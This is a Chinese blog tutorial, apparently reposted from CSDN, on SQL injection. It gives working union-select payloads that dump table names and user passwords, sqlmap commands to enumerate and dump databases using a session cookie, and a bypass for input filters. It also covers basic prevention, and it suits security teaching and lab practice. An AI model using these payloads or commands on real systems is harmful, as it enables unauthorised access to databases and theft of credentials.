【网络安全】SQL注入漏洞详解

SQL 注入漏洞

1.了解

SQL注入也称SQL注码,是发生于应用程序与数据库层的安全漏洞。在输入的字符串中注入SQL指令,如果出现忽略了字符检查,那么就会发生SQL注入漏洞,恶意指令就会被当成正常的SQL指令运行。

2.详解

成因分析:用户进行查询数据等操作时(比如查找电影名称),如果输入的不是正常查询字词而是SQL语句,导致原有的SQL语句发生改变,且程序没有对输入内容作出限制,那么就会导致漏洞产生。


初步尝试:

一般输入SQL关键字拼接语句内容来进行检查。


攻击手段:

1.检测是否有SQL注入漏洞

输入:查询内容’ and 1=1#

在原有查询结束后会执行判断1=1,如果判断正确才会有输出

#作用是移除(注释)后续SQL语句

输入:查询内容’ and 1=2#

两次尝试,1=1正常输出,1=2错误输出,证明SQL语句生效,存在SQL注入漏洞。

2.利用sql注入漏洞

判断列/字段数:order by

输入:查询内容’ order by 1#

如果正常输出,则说明数据库至少有一列

再次输入 ’ order by 2# …直到没有正常输出

可知数据库有多少列

联合查询其他信息:union select [sql1] [sql2]

输入:查询内容’ union select user(),database()#

user():返回当前数据库连接用户

database():返回当前数据库名称

联合查询表:

输入:查询内容’ union select table_name,table_schema from information_schema.tables where table_schema = ‘数据库名称’#

可以获取数据库所有表的名字

读取所需表的内容:

输入:查询内容’ union select user,password from users#

可以查询users表的用户名和密码


3. SQLmap工具

在网上获取SQLmap工具,访问官网sqlmap.org

在命令行窗口使用,cd到相应文件夹中,如何输入python sqlmap.py执行。

检测漏洞:

python sqlmap.py -u “网址” --cookie=“F12->点击网络->刷新->查找cookie”

获取所有数据库名:

python sqlmap.py -u “ 网址” --cookie=“” --dbs

dbs :database server

获取指定数据库的所有表名:

python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 --tables

获取指定数据库列/表项:

python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 -T 表名 --columns

-D :指定获取的数据库名

-T :指定获取表名

–columns: 列出表项/列

获取数据:

python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 -T 表名 --dump

–dump: 读取数据


4. SQL漏洞预防

过滤用户输入内容,不让输入sql语句。

将特殊符号替换成空,或者判断用户输入SQL语句就终止执行。

将特殊符号前面都加一个/,使SQL语句失效。

在原有SQL语句最后添加限制,如LIMIT 1。

做SQL预处理PDO:配合正确的过滤和SQL语句能避免SQL注入。


5.绕过方法

不输入特殊字符

比如一个数据库名为 dvwa

可以将’dvwa’ 换成database() 或十六进制

例子:查询内容’ union select table_name,table_schema from information_schema.tables where table_schema = ‘数据库名称’#

改为:查询内容 union select table_name,table_schema from information_schema.tables where table_schema = database()#

猜你喜欢

转载自blog.csdn.net/love_wgll/article/details/129215776